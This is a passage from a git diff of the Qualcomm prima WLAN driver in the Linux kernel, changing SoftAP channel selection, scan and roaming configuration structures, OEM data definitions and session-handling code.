halStatus = eHAL_STATUS_FAILURE; - } - break; - case eCSR_ROAM_RESULT_MIC_ERROR_GROUP: VOS_TRACE( VOS_MODULE_ID_SAP, VOS_TRACE_LEVEL_INFO_HIGH, FL("CSR roamResult = %s (%d)"), diff --git a/drivers/staging/prima/CORE/SAP/src/sapChSelect.c b/drivers/staging/prima/CORE/SAP/src/sapChSelect.c index aa4c7462c6055..dda7fa1956189 100644 --- a/drivers/staging/prima/CORE/SAP/src/sapChSelect.c +++ b/drivers/staging/prima/CORE/SAP/src/sapChSelect.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2014 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2014, 2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -1372,7 +1372,7 @@ void sapComputeSpectWeight( tSapChSelSpectInfo* pSpectInfoParams, if (pScanResult->BssDescriptor.ieFields != NULL) { - ieLen = (pScanResult->BssDescriptor.length + sizeof(tANI_U16) + sizeof(tANI_U32) - sizeof(tSirBssDescription)); + ieLen = GET_IE_LEN_IN_BSS(pScanResult->BssDescriptor.length); vos_mem_set((tANI_U8 *) pBeaconStruct, sizeof(tSirProbeRespBeacon), 0); if ((sirParseBeaconIE(pMac, pBeaconStruct,(tANI_U8 *)( pScanResult->BssDescriptor.ieFields), ieLen)) == eSIR_SUCCESS) diff --git a/drivers/staging/prima/CORE/SAP/src/sapChSelect.h b/drivers/staging/prima/CORE/SAP/src/sapChSelect.h index fcb9fe04382a2..eb7421812ed18 100644 --- a/drivers/staging/prima/CORE/SAP/src/sapChSelect.h +++ b/drivers/staging/prima/CORE/SAP/src/sapChSelect.h @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2013 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2013, 2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -84,8 +84,10 @@ #define SOFTAP_RSSI_WEIGHT (20) #define SOFTAP_COUNT_WEIGHT (20) -#define SAP_DEFAULT_CHANNEL (6) -#define SAP_DEFAULT_5GHZ_CHANNEL (40) +#define SAP_DEFAULT_24GHZ_CHANNEL (6) +#define SAP_DEFAULT_LOW_5GHZ_CHANNEL (40) +#define SAP_DEFAULT_MID_5GHZ_CHANNEL (100) +#define SAP_DEFAULT_HIGH_5GHZ_CHANNEL (149) #define SAP_CHANNEL_NOT_SELECTED (0) #define SOFTAP_HT20_CHANNELWIDTH 0 diff --git a/drivers/staging/prima/CORE/SAP/src/sapFsm.c b/drivers/staging/prima/CORE/SAP/src/sapFsm.c index 6d8977d2deb40..4ebbae5be49df 100644 --- a/drivers/staging/prima/CORE/SAP/src/sapFsm.c +++ b/drivers/staging/prima/CORE/SAP/src/sapFsm.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2013 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2013, 2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -260,6 +260,7 @@ sapGotoChannelSel #endif tHalHandle hHal; tANI_U8 channel; + uint32_t operating_band = 0; hHal = (tHalHandle)vos_get_context( VOS_MODULE_ID_SME, sapContext->pvosGCtx); if (NULL == hHal) @@ -345,8 +346,36 @@ sapGotoChannelSel VOS_TRACE( VOS_MODULE_ID_SAP, VOS_TRACE_LEVEL_INFO_HIGH, FL("SoftAP Configuring for default channel, Ch= %d"), sapContext->channel); - /* In case of error, switch to default channel */ - sapContext->channel = SAP_DEFAULT_CHANNEL; + /* + * In case of error, select channel based on band + * configured in .ini + */ + ccmCfgGetInt(hHal, WNI_CFG_SAP_CHANNEL_SELECT_OPERATING_BAND, + &operating_band); + if (operating_band == eSAP_RF_SUBBAND_5_LOW_GHZ || + operating_band == eSAP_RF_SUBBAND_5_MID_GHZ || + operating_band == eSAP_RF_SUBBAND_5_HIGH_GHZ) + { + VOS_TRACE(VOS_MODULE_ID_SAP, VOS_TRACE_LEVEL_INFO, + FL("Default channel selection from band %d"), + operating_band); + + (operating_band == eSAP_RF_SUBBAND_5_LOW_GHZ) ? + (sapContext->channel = SAP_DEFAULT_LOW_5GHZ_CHANNEL) : + (operating_band == eSAP_RF_SUBBAND_5_MID_GHZ) ? + (sapContext->channel = SAP_DEFAULT_MID_5GHZ_CHANNEL) : + (operating_band == eSAP_RF_SUBBAND_5_HIGH_GHZ) ? + (sapContext->channel = + SAP_DEFAULT_HIGH_5GHZ_CHANNEL) : 0; + + VOS_TRACE(VOS_MODULE_ID_SAP, VOS_TRACE_LEVEL_INFO, + FL("channel selected to start bss %d"), + sapContext->channel); + } + else + { + sapContext->channel = SAP_DEFAULT_24GHZ_CHANNEL; + } #ifdef SOFTAP_CHANNEL_RANGE if(sapContext->channelList != NULL) @@ -798,6 +827,8 @@ sapSignalHDDevent pCsrRoamInfo->addIELen); } + sapApAppEvent.sapevt.sapStationAssocReassocCompleteEvent.rate_flags = pCsrRoamInfo->maxRateFlags; + sapApAppEvent.sapevt.sapStationAssocReassocCompleteEvent.wmmEnabled = pCsrRoamInfo->wmmEnabledSta; sapApAppEvent.sapevt.sapStationAssocReassocCompleteEvent.status = (eSapStatus )context; //TODO: Need to fill sapAuthType @@ -1076,20 +1107,8 @@ sapFsm "In %s, Failed to Init HT20/40 timer", __func__); #endif } - else if (msg == eSAP_MAC_START_FAILS) - { - /*Transition from STARTING to DISCONNECTED (both without substates)*/ - VOS_TRACE( VOS_MODULE_ID_SAP, VOS_TRACE_LEVEL_ERROR, "In %s, from state %s => %s", - __func__, "eSAP_STARTING", "eSAP_DISCONNECTED"); - - /*Action code for transition */ - vosStatus = sapSignalHDDevent( sapContext, NULL, eSAP_START_BSS_EVENT,(v_PVOID_t) eSAP_STATUS_FAILURE); - vosStatus = sapGotoDisconnected(sapContext); - - /*Advance outer statevar */ - sapContext->sapsMachine = eSAP_DISCONNECTED; - } - else if (msg == eSAP_HDD_STOP_INFRA_BSS) + else if ((msg == eSAP_HDD_STOP_INFRA_BSS) || + (msg == eSAP_MAC_START_FAILS)) { /*Transition from eSAP_STARTING to eSAP_DISCONNECTING (both without substates)*/ VOS_TRACE( VOS_MODULE_ID_SAP, VOS_TRACE_LEVEL_INFO_HIGH, "In %s, from state %s => %s", @@ -1128,7 +1147,8 @@ sapFsm } else if (eHAL_STATUS_SUCCESS == sme_CloseSession(hHal, - sapContext->sessionId, VOS_TRUE, NULL, NULL)) + sapContext->sessionId, FALSE, + VOS_TRUE, NULL, NULL)) { sapContext->isSapSessionOpen = eSAP_FALSE; } @@ -1208,15 +1228,13 @@ sapFsm else { sapContext->isSapSessionOpen = eSAP_FALSE; - if (!HAL_STATUS_SUCCESS( - sme_CloseSession(hHal, - sapContext->sessionId, VOS_TRUE, - sapRoamSessionCloseCallback, sapContext))) - { - vosStatus = sapSignalHDDevent(sapContext, NULL, - eSAP_STOP_BSS_EVENT, - (v_PVOID_t) eSAP_STATUS_SUCCESS); - } + sme_CloseSession(hHal, + sapContext->sessionId, TRUE, VOS_TRUE, + NULL, sapContext); + + vosStatus = sapSignalHDDevent(sapContext, NULL, + eSAP_STOP_BSS_EVENT, + (v_PVOID_t) eSAP_STATUS_SUCCESS); } } } diff --git a/drivers/staging/prima/CORE/SAP/src/sapInternal.h b/drivers/staging/prima/CORE/SAP/src/sapInternal.h index b818e4819e81e..dd94138d519de 100644 --- a/drivers/staging/prima/CORE/SAP/src/sapInternal.h +++ b/drivers/staging/prima/CORE/SAP/src/sapInternal.h @@ -183,6 +183,10 @@ typedef struct { /** Track HT40 Intolerant station */ v_BOOL_t isHT40IntolerantSet; #endif + + /** Rate Flags for this connection */ + uint32_t rate_flags; + } hdd_station_info_t; typedef struct sSapContext { diff --git a/drivers/staging/prima/CORE/SAP/src/sapModule.c b/drivers/staging/prima/CORE/SAP/src/sapModule.c index a1d90717c2d99..5376ce6078949 100644 --- a/drivers/staging/prima/CORE/SAP/src/sapModule.c +++ b/drivers/staging/prima/CORE/SAP/src/sapModule.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -2211,36 +2211,31 @@ VOS_STATUS WLANSAP_CancelRemainOnChannel( v_PVOID_t pvosGCtx ) v_PVOID_t hHal = NULL; eHalStatus halStatus = eHAL_STATUS_FAILURE; - if( VOS_STA_SAP_MODE == vos_get_conparam ( ) ) + pSapCtx = VOS_GET_SAP_CB(pvosGCtx); + if (NULL == pSapCtx) { - pSapCtx = VOS_GET_SAP_CB( pvosGCtx ); - if (NULL == pSapCtx) - { - VOS_TRACE( VOS_MODULE_ID_SAP, VOS_TRACE_LEVEL_ERROR, - "%s: Invalid SAP pointer from pvosGCtx", __func__); - return VOS_STATUS_E_FAULT; - } - hHal = VOS_GET_HAL_CB(pSapCtx->pvosGCtx); - if( ( NULL == hHal ) || ( eSAP_TRUE != pSapCtx->isSapSessionOpen ) ) - { - VOS_TRACE( VOS_MODULE_ID_SAP, VOS_TRACE_LEVEL_ERROR, - "%s: HAL pointer (%p) NULL OR SME session is not open (%d)", - __func__, hHal, pSapCtx->isSapSessionOpen ); - return VOS_STATUS_E_FAULT; - } - - halStatus = sme_CancelRemainOnChannel( hHal, pSapCtx->sessionId ); - - if( eHAL_STATUS_SUCCESS == halStatus ) - { - return VOS_STATUS_SUCCESS; - } + VOS_TRACE( VOS_MODULE_ID_SAP, VOS_TRACE_LEVEL_ERROR, + "%s: Invalid SAP pointer from pvosGCtx", __func__); + return VOS_STATUS_E_FAULT; + } + hHal = VOS_GET_HAL_CB(pSapCtx->pvosGCtx); + if ((NULL == hHal) || (eSAP_TRUE != pSapCtx->isSapSessionOpen)) + { + VOS_TRACE( VOS_MODULE_ID_SAP, VOS_TRACE_LEVEL_ERROR, + "%s: HAL pointer (%p) NULL OR SME session is not open (%d)", + __func__, hHal, pSapCtx->isSapSessionOpen ); + return VOS_STATUS_E_FAULT; } - VOS_TRACE( VOS_MODULE_ID_SAP, VOS_TRACE_LEVEL_ERROR, - "Failed to Cancel Remain on Channel"); + halStatus = sme_CancelRemainOnChannel(hHal, pSapCtx->sessionId); - return VOS_STATUS_E_FAULT; + if (eHAL_STATUS_SUCCESS != halStatus) + { + VOS_TRACE( VOS_MODULE_ID_SAP, VOS_TRACE_LEVEL_ERROR, + "Failed to Cancel Remain on Channel"); + return VOS_STATUS_E_FAULT; + } + return VOS_STATUS_SUCCESS; } /*========================================================================== diff --git a/drivers/staging/prima/CORE/SME/inc/btcApi.h b/drivers/staging/prima/CORE/SME/inc/btcApi.h index bab11f42d9cfd..c6da770b5fff8 100644 --- a/drivers/staging/prima/CORE/SME/inc/btcApi.h +++ b/drivers/staging/prima/CORE/SME/inc/btcApi.h @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2013 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2013, 2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -366,7 +366,10 @@ typedef struct sSmeBtcInfo v_BOOL_t fA2DPTrafStop;/*flag to check A2DP_STOP event has come before MODE_CHANGED*/ v_U16_t btcScoHandles[BT_MAX_SCO_SUPPORT]; /* Handles for SCO, if any*/ v_BOOL_t fA2DPUp; /*remember whether A2DP is in session*/ - v_BOOL_t btcScanCompromise; + /* Scan compromise due to eSCO */ + bool btc_scan_compromise_esco; + /* Scan compromise due to SCO */ + bool btc_scan_compromise_sco; v_U8_t btcBssfordisableaggr[VOS_MAC_ADDRESS_LEN]; vos_timer_t enableUapsdTimer; } tSmeBtcInfo, *tpSmeBtcInfo; diff --git a/drivers/staging/prima/CORE/SME/inc/csrApi.h b/drivers/staging/prima/CORE/SME/inc/csrApi.h index c2320b1431621..ef7f97d3dd37c 100644 --- a/drivers/staging/prima/CORE/SME/inc/csrApi.h +++ b/drivers/staging/prima/CORE/SME/inc/csrApi.h @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2014 The Linux Foundation. All rights reserved. + * Copyright (c) 2011-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -291,8 +291,8 @@ typedef struct tagCsrScanRequest tCsrChannelInfo ChannelInfo; tANI_U32 minChnTime; //in units of milliseconds tANI_U32 maxChnTime; //in units of milliseconds - tANI_U32 minChnTimeBtc; //in units of milliseconds - tANI_U32 maxChnTimeBtc; //in units of milliseconds + tANI_U32 min_chntime_btc_esco; //in units of milliseconds + tANI_U32 max_chntime_btc_esco; //in units of milliseconds tANI_U32 restTime; //in units of milliseconds //ignored when not connected tANI_U32 uIEFieldLen; tANI_U8 *pIEField; @@ -309,8 +309,8 @@ typedef struct tagCsrBGScanRequest tANI_U32 scanInterval; //in units of milliseconds tANI_U32 minChnTime; //in units of milliseconds tANI_U32 maxChnTime; //in units of milliseconds - tANI_U32 minChnTimeBtc; //in units of milliseconds - tANI_U32 maxChnTimeBtc; //in units of milliseconds + tANI_U32 min_chntime_btc_esco; //in units of milliseconds + tANI_U32 max_chntime_btc_esco; //in units of milliseconds tANI_U32 restTime; //in units of milliseconds //ignored when not connected tANI_U32 throughputImpact; //specify whether BG scan cares about impacting throughput //ignored when not connected tCsrBssid bssid; //how to use it?? Apple @@ -402,6 +402,9 @@ typedef struct tagCsrScanResultFilter tANI_U8 MFPRequired; tANI_U8 MFPCapable; #endif +#ifdef WLAN_FEATURE_ROAM_SCAN_OFFLOAD + tANI_BOOLEAN isPERRoamScan; +#endif }tCsrScanResultFilter; @@ -499,6 +502,10 @@ typedef enum eCSR_ROAM_UNPROT_MGMT_FRAME_IND, #endif +#ifdef WLAN_FEATURE_RMC + eCSR_ROAM_IBSS_PEER_INFO_COMPLETE, +#endif + #ifdef WLAN_FEATURE_AP_HT40_24G eCSR_ROAM_2040_COEX_INFO_IND, #endif @@ -511,6 +518,7 @@ typedef enum #endif /* FEATURE_WLAN_ESE && FEATURE_WLAN_ESE_UPLOAD */ eCSR_ROAM_UPDATE_MAX_RATE_IND, eCSR_ROAM_LOST_LINK_PARAMS_IND, + eCSR_ROAM_UPDATE_SCAN_RESULT, }eRoamCmdStatus; @@ -598,8 +606,15 @@ typedef enum eCSR_ROAM_RESULT_TEARDOWN_TDLS_PEER_IND, eCSR_ROAM_RESULT_DELETE_ALL_TDLS_PEER_IND, eCSR_ROAM_RESULT_LINK_ESTABLISH_REQ_RSP, + eCSR_ROAM_RESULT_CHANNEL_SWITCH_REQ_RSP, #endif +#ifdef WLAN_FEATURE_RMC + eCSR_ROAM_RESULT_IBSS_PEER_INFO_SUCCESS, + eCSR_ROAM_RESULT_IBSS_PEER_INFO_FAILED, +#endif + /* If Scan for SSID failed to found proper BSS */ + eCSR_ROAM_RESULT_SCAN_FOR_SSID_FAILURE, }eCsrRoamResult; @@ -650,6 +665,8 @@ typedef enum eCSR_ASSOC_STATE_TYPE_INFRA_DISCONNECTED, // Participating in a Infra network and connected to a peer eCSR_ASSOC_STATE_TYPE_INFRA_CONNECTED, + /* Disconnecting with AP or stop connecting process */ + eCSR_ASSOC_STATE_TYPE_INFRA_DISCONNECTING, }eCsrConnectState; @@ -1080,8 +1097,10 @@ typedef struct tagCsrConfigParam tANI_U32 nInitialDwellTime; //in units of milliseconds - tANI_U32 nActiveMinChnTimeBtc; //in units of milliseconds - tANI_U32 nActiveMaxChnTimeBtc; //in units of milliseconds + uint32_t min_chntime_btc_esco; //in units of milliseconds + uint32_t max_chntime_btc_esco; //in units of milliseconds + uint32_t min_chntime_btc_sco; + uint32_t max_chntime_btc_sco; tANI_U32 disableAggWithBtc; #ifdef WLAN_AP_STA_CONCURRENCY tANI_U32 nPassiveMinChnTimeConc; //in units of milliseconds @@ -1169,6 +1188,14 @@ typedef struct tagCsrConfigParam #ifdef WLAN_FEATURE_ROAM_SCAN_OFFLOAD tANI_BOOLEAN isRoamOffloadScanEnabled; tANI_BOOLEAN bFastRoamInConIniFeatureEnabled; + v_BOOL_t isPERRoamEnabled; + v_BOOL_t isPERRoamCCAEnabled; + v_S15_t PERRoamFullScanThreshold; + v_U32_t rateUpThreshold; + v_U32_t rateDownThreshold; + v_U32_t waitPeriodForNextPERScan; + v_U32_t PERtimerThreshold; + v_U32_t PERroamTriggerPercent; #endif #endif @@ -1194,6 +1221,21 @@ typedef struct tagCsrConfigParam tANI_U8 roamDelayStatsEnabled; tANI_BOOLEAN ignorePeerHTopMode; tANI_BOOLEAN disableP2PMacSpoofing; + tANI_BOOLEAN enableFatalEvent; + tANI_U8 max_chan_for_dwell_time_cfg; + uint32_t enable_edca_params; + uint32_t edca_vo_cwmin; + uint32_t edca_vi_cwmin; + uint32_t edca_bk_cwmin; + uint32_t edca_be_cwmin; + uint32_t edca_vo_cwmax; + uint32_t edca_vi_cwmax; + uint32_t edca_bk_cwmax; + uint32_t edca_be_cwmax; + uint32_t edca_vo_aifs; + uint32_t edca_vi_aifs; + uint32_t edca_bk_aifs; + uint32_t edca_be_aifs; }tCsrConfigParam; //Tush @@ -1313,6 +1355,7 @@ typedef struct sSirSmeAssocIndToUpperLayerCnf #ifdef WLAN_FEATURE_AP_HT40_24G tANI_U8 HT40MHzIntoEnabledSta; //set to true if 40 MHz Intolerant enabled STA #endif + uint32_t rate_flags; } tSirSmeAssocIndToUpperLayerCnf, *tpSirSmeAssocIndToUpperLayerCnf; typedef struct tagCsrSummaryStatsInfo @@ -1474,9 +1517,17 @@ typedef struct tagCsrHandoffRequest { tCsrBssid bssid; tANI_U8 channel; + /* To check if its a REASSOC or a FASTREASSOC IOCTL */ + tANI_U8 src; }tCsrHandoffRequest; #endif +typedef enum { + REASSOC = 0, + FASTREASSOC = 1, + CONNECT_CMD_USERSPACE = 2, +} handoff_src; + #if defined(FEATURE_WLAN_ESE) && defined(FEATURE_WLAN_ESE_UPLOAD) typedef struct tagCsrEseBeaconReqParams { @@ -1666,6 +1717,18 @@ typedef void ( *tCsrTsmStatsCallback) (tAniTrafStrmMetrics tsmMetrics, tANI_U32 ---------------------------------------------------------------------------*/ typedef void (*tCsrSnrCallback) (v_S7_t snr, tANI_U32 staId, void *pContext); +/*--------------------------------------------------------------------------- + This is the type for a get current antenna callback to be registered with SME + for getting cuurently used antenna index + + \param antennaId to be filled by firmware. + \param pContext - any user data given at callback registration. + \return None + +---------------------------------------------------------------------------*/ +typedef void ( *tCsrAntennaIndexCallback) (int antennaId, void *pContext); + + #ifdef WLAN_FEATURE_VOWIFI_11R eHalStatus csrRoamIssueFTPreauthReq(tHalHandle hHal, tANI_U32 sessionId, tpSirBssDescription pBssDescription); #endif diff --git a/drivers/staging/prima/CORE/SME/inc/csrInternal.h b/drivers/staging/prima/CORE/SME/inc/csrInternal.h index a7b2ccebf59b7..318c25517c252 100644 --- a/drivers/staging/prima/CORE/SME/inc/csrInternal.h +++ b/drivers/staging/prima/CORE/SME/inc/csrInternal.h @@ -1,5 +1,5 @@ /* - * Copyright (c) 2011-2014 The Linux Foundation. All rights reserved. + * Copyright (c) 2011-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -40,6 +40,8 @@ #define CSRINTERNAL_H__ #include "vos_status.h" +#include "vos_utils.h" + #include "vos_lock.h" #include "palTimer.h" @@ -276,6 +278,7 @@ typedef enum eCsrGlobalClassCStats, eCsrGlobalClassDStats, eCsrPerStaStats, + eCsrPerPktStats, eCsrMaxStats }eCsrRoamStatsClassTypes; @@ -397,7 +400,6 @@ typedef struct tagScanCmd csrScanCompleteCallback callback; void *pContext; eCsrScanReason reason; - eCsrRoamState lastRoamState[CSR_ROAM_SESSION_MAX]; tCsrRoamProfile *pToRoamProfile; tANI_U32 roamId; //this is the ID related to the pToRoamProfile union @@ -585,8 +587,10 @@ typedef struct tagCsrConfig tANI_U32 nInitialDwellTime; //in units of milliseconds - tANI_U32 nActiveMinChnTimeBtc; //in units of milliseconds - tANI_U32 nActiveMaxChnTimeBtc; //in units of milliseconds + uint32_t min_chntime_btc_esco; //in units of milliseconds + uint32_t max_chntime_btc_esco; //in units of milliseconds + uint32_t min_chntime_btc_sco; + uint32_t max_chntime_btc_sco; tANI_U8 disableAggWithBtc; #ifdef WLAN_AP_STA_CONCURRENCY tANI_U32 nPassiveMinChnTimeConc; //in units of milliseconds @@ -620,6 +624,14 @@ typedef struct tagCsrConfig #ifdef WLAN_FEATURE_ROAM_SCAN_OFFLOAD tANI_U8 isRoamOffloadScanEnabled; tANI_BOOLEAN bFastRoamInConIniFeatureEnabled; + v_BOOL_t isPERRoamEnabled; + v_BOOL_t isPERRoamCCAEnabled; + v_S15_t PERRoamFullScanThreshold; + tANI_U32 rateUpThreshold; + tANI_U32 rateDownThreshold; + tANI_U32 waitPeriodForNextPERScan; + tANI_U32 PERtimerThreshold; + tANI_U32 PERroamTriggerPercent; #endif #endif @@ -682,6 +694,21 @@ typedef struct tagCsrConfig tANI_U8 roamDelayStatsEnabled; tANI_BOOLEAN ignorePeerHTopMode; tANI_BOOLEAN disableP2PMacSpoofing; + tANI_BOOLEAN enableFatalEvent; + tANI_U8 max_chan_for_dwell_time_cfg; + uint32_t enable_edca_params; + uint32_t edca_vo_cwmin; + uint32_t edca_vi_cwmin; + uint32_t edca_bk_cwmin; + uint32_t edca_be_cwmin; + uint32_t edca_vo_cwmax; + uint32_t edca_vi_cwmax; + uint32_t edca_bk_cwmax; + uint32_t edca_be_cwmax; + uint32_t edca_vo_aifs; + uint32_t edca_vi_aifs; + uint32_t edca_bk_aifs; + uint32_t edca_be_aifs; }tCsrConfig; typedef struct tagCsrChannelPowerInfo @@ -808,6 +835,8 @@ typedef struct tagCsrScanStruct csrScanCompleteCallback callback11dScanDone; eCsrBand scanBandPreference; //This defines the band perference for scan bool fcc_constraint; + /* flag to defer updated chanel list */ + bool defer_update_channel_list; }tCsrScanStruct; @@ -964,6 +993,7 @@ typedef struct tagCsrRoamSession * it is needed by the HS 2.0 passpoint certification 5.2.a and b testcases */ tANI_BOOLEAN fIgnorePMKIDCache; tANI_BOOLEAN abortConnection; + bool dhcp_done; } tCsrRoamSession; typedef struct tagCsrRoamStruct @@ -978,6 +1008,7 @@ typedef struct tagCsrRoamStruct tCsrChannel base40MHzChannels; //center channels for 40MHz channels eCsrRoamState curState[CSR_ROAM_SESSION_MAX]; eCsrRoamSubState curSubState[CSR_ROAM_SESSION_MAX]; + eCsrRoamState prev_state[CSR_ROAM_SESSION_MAX]; //This may or may not have the up-to-date valid channel list //It is used to get WNI_CFG_VALID_CHANNEL_LIST and not allocate memory all the time tSirMacChanNum validChannelList[WNI_CFG_VALID_CHANNEL_LIST_LEN]; @@ -991,6 +1022,7 @@ typedef struct tagCsrRoamStruct tCsrGlobalClassCStatsInfo classCStatsInfo; tCsrGlobalClassDStatsInfo classDStatsInfo; tCsrPerStaStatsInfo perStaStatsInfo[CSR_MAX_STA]; + tPerTxPacketFrmFw perPktStatsInfo; tDblLinkList statsClientReqList; tDblLinkList peStatsReqList; tCsrTlStatsReqInfo tlStatsReqInfo; @@ -1445,3 +1477,8 @@ tANI_BOOLEAN csrRoamIsStaMode(tpAniSirGlobal pMac, tANI_U32 sessionId); #endif void csrDisableDfsChannel(tpAniSirGlobal pMac); + +#ifdef WLAN_FEATURE_RMC +eHalStatus csrEnableRMC(tpAniSirGlobal pMac, tANI_U32 sessionId); +eHalStatus csrDisableRMC(tpAniSirGlobal pMac, tANI_U32 sessionId); +#endif /* WLAN_FEATURE_RMC */ diff --git a/drivers/staging/prima/CORE/SME/inc/csrNeighborRoam.h b/drivers/staging/prima/CORE/SME/inc/csrNeighborRoam.h index 6a0d812e06a00..5df4eee3d3ddc 100644 --- a/drivers/staging/prima/CORE/SME/inc/csrNeighborRoam.h +++ b/drivers/staging/prima/CORE/SME/inc/csrNeighborRoam.h @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2014 The Linux Foundation. All rights reserved. + * Copyright (c) 2011-2014, 2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -172,7 +172,7 @@ typedef struct sCsrNeighborRoamControlInfo tCsrNeighborRoamChannelInfo roamChannelInfo; tANI_U8 currentNeighborLookupThreshold; tANI_BOOLEAN scanRspPending; - tANI_TIMESTAMP scanRequestTimeStamp; + v_TIME_t scanRequestTimeStamp; tDblLinkList roamableAPList; // List of current FT candidates tANI_U32 csrSessionId; tCsrRoamProfile csrNeighborRoamProfile; diff --git a/drivers/staging/prima/CORE/SME/inc/oemDataApi.h b/drivers/staging/prima/CORE/SME/inc/oemDataApi.h index 2ae978b0b33c7..fa8dccc29d394 100644 --- a/drivers/staging/prima/CORE/SME/inc/oemDataApi.h +++ b/drivers/staging/prima/CORE/SME/inc/oemDataApi.h @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2013 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -54,6 +54,14 @@ #define OEM_DATA_RSP_SIZE 1968 #endif +#ifndef NEW_OEM_DATA_REQ_SIZE +#define NEW_OEM_DATA_REQ_SIZE 292 +#endif + +#ifndef NEW_OEM_DATA_RSP_SIZE +#define NEW_OEM_DATA_RSP_SIZE 2100 +#endif + /************************************************************************************************************* OEM DATA REQ/RSP - DATA STRUCTURES *************************************************************************************************************/ @@ -133,6 +141,30 @@ eHalStatus sme_HandleOemDataRsp(tHalHandle hHal, tANI_U8*); -------------------------------------------------------------------------------*/ eHalStatus oemData_IsOemDataReqAllowed(tHalHandle hHal); + +/* --------------------------------------------------------------------------- + OEM DATA REQ NEW - DATA STRUCTURES + -------------------------------------------------------------------------------*/ +/* Structure for defining req sent to the PE */ +typedef struct tagOemDataReqNew +{ + tSirMacAddr selfMacAddr; + tANI_U8 reserved[2]; + tANI_U8 oemDataReqNew[NEW_OEM_DATA_REQ_SIZE]; +} tOemDataReqNew, tOemDataReqNewConfig; + +/* --------------------------------------------------------------------------- + OEM DATA RESPONSE - DATA STRUCTURES + -------------------------------------------------------------------------------*/ +typedef struct tagOemDataRspNew +{ + tANI_U8 oemDataRspNew[NEW_OEM_DATA_RSP_SIZE]; +} tOemDataRspNew; + +/*************************************************************************************************************/ + +void send_oem_data_rsp_msg(tANI_U32 length, tANI_U8 *oemDataRsp); + #endif //_OEM_DATA_API_H__ #endif //FEATURE_OEM_DATA_SUPPORT diff --git a/drivers/staging/prima/CORE/SME/inc/pmc.h b/drivers/staging/prima/CORE/SME/inc/pmc.h index 5c75647ecac81..e6ffe81d06a21 100644 --- a/drivers/staging/prima/CORE/SME/inc/pmc.h +++ b/drivers/staging/prima/CORE/SME/inc/pmc.h @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2013 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2013, 2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -146,6 +146,8 @@ typedef struct sPmcInfo tANI_BOOLEAN bmpsRequestQueued; /*If a enter BMPS request is queued*/ tANI_BOOLEAN smpsEnabled; /* TRUE if SMPS is enabled */ tANI_BOOLEAN remainInPowerActiveTillDHCP; /* Remain in Power active till DHCP completes */ + /* Remain in Power active till set key is done */ + bool full_power_till_set_key; tANI_U32 remainInPowerActiveThreshold; /*Remain in Power active till DHCP threshold*/ tANI_U32 impsPeriod; /* amount of time to remain in IMPS */ void (*impsCallbackRoutine) (void *callbackContext, eHalStatus status); /* routine to call when IMPS period diff --git a/drivers/staging/prima/CORE/SME/inc/smeInside.h b/drivers/staging/prima/CORE/SME/inc/smeInside.h index 8bde263a00f76..bb947dc3ea2dd 100644 --- a/drivers/staging/prima/CORE/SME/inc/smeInside.h +++ b/drivers/staging/prima/CORE/SME/inc/smeInside.h @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -223,7 +223,8 @@ void smePushCommand( tpAniSirGlobal pMac, tSmeCmd *pCmd, tANI_BOOLEAN fHighPrior void smeProcessPendingQueue( tpAniSirGlobal pMac ); void smeReleaseCommand(tpAniSirGlobal pMac, tSmeCmd *pCmd); void purgeSmeSessionCmdList(tpAniSirGlobal pMac, tANI_U32 sessionId, - tDblLinkList *pList); + tDblLinkList *pList, bool flush_all); +tANI_U32 sme_get_sessionid_from_activeList(tpAniSirGlobal pMac); tANI_BOOLEAN smeCommandPending(tpAniSirGlobal pMac); tANI_BOOLEAN pmcProcessCommand( tpAniSirGlobal pMac, tSmeCmd *pCommand ); //this function is used to abort a command where the normal processing of the command @@ -249,6 +250,7 @@ eHalStatus csrRoamIssueRemoveKeyCommand( tpAniSirGlobal pMac, tANI_U32 sessionId tCsrRoamRemoveKey *pRemoveKey, tANI_U32 roamId ); eHalStatus csrIsFullPowerNeeded( tpAniSirGlobal pMac, tSmeCmd *pCommand, tRequestFullPowerReason *pReason, tANI_BOOLEAN *pfNeedPower); +bool csr_is_disconnect_full_power_cmd(tSmeCmd *command); void csrAbortCommand( tpAniSirGlobal pMac, tSmeCmd *pCommand, tANI_BOOLEAN fStopping ); eHalStatus sme_AcquireGlobalLock( tSmeStruct *psSme); @@ -324,7 +326,7 @@ eHalStatus csrTdlsChangePeerSta(tHalHandle hHal, tANI_U8 sessionId, tCsrStaParams *pstaParams); eHalStatus csrTdlsDelPeerSta(tHalHandle hHal, tANI_U8 sessionId, #if (LINUX_VERSION_CODE >= 